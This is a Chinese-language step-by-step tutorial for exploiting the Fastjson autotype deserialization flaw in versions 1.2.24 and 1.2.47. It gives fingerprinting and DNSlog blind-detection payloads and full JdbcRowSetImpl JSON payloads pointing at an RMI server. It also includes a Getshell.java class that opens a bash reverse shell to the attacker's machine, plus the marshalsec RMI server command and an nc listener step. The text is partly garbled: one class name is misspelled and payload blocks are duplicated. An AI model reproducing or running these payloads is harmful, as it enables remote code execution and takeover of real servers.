fastjson是阿里巴巴开源的json解析库,通常被用于java object和json字符之间进行转换,提供两个方法json.tojsonstring和json.parseobject/json.parse来分别实现序列化与反序列化。
序列化:将对象转化为字节序列。
反序列化:将字节序列转化为对象。
漏洞主要原因是因为autotype功能,这个功能用于fastjson对json格式进行序列化与反序列化,在其序列化中会多写入一个@type,这个@type来标记被序列化的类名,在反序列化过程中会读取这个@type,尝试把json内容反序列化成对象,并且会调用setter或者getter方法,,所以只需要构造一个恶意json字符,使用@type指定一个想要的攻击库就可以实现攻击。
举个例子,黑客比较常用的攻击类库是com. sun.Towset. JdibcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
1:json传输就去尝试
2:报错出现com.alibaba.fastjson.JSON 就为fastjson框架
注:1.2.24版本以下并不会出现com.alibaba.fastjson.JSON 以上就会出现 com.alibaba.fastjson.JSON
fastjson 1.2.24
fastjson 1.2.47
盲打payload:
1.2.67版本之前
{"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
1.2.67版本之后
{"@type":"java.net.Inet4Address","val":"dnslog"}
进行重发
4.fastjson1.2.47以上述方式同样测试
前言:除了1.2.24与1.2.47除了抓包所提交的pyload不同,其余与1.2.24步骤相同
pyload: 以POST请求提交
fastjson 1.2.24
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.181.133:9999/Getshell", //vpsIP,提供rmi服务的IP
"autoCommit":true
}
}
fastjson 1.2.47
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.181.133:9999/Getshell",
"autoCommit":true
}
}
首先我们先创建Getshell.java,使用javac Getshell.java编译得到Getshell.class
import java.lang.Runtime;
import java.lang.Process;
public class Getshell {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.181.133/6666 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
攻击机 ip + 8000 访问 ,看到了Getshell.class
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Getshell.class
项目链接:
https://github.com/RandomRobbieBF/marshalsec-jar
输入下面命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.181.133:8000/#Getshell" 9999
Getshellfastjson 1.2.24
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.181.133:9999/Getshell",
"autoCommit":true
}
}
fastjson 1.2.47
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.181.133:9999/Getshell",
"autoCommit":true
}
}
6.nc 监听端口.
7.fastjson1.2.47以上述同样的方法测试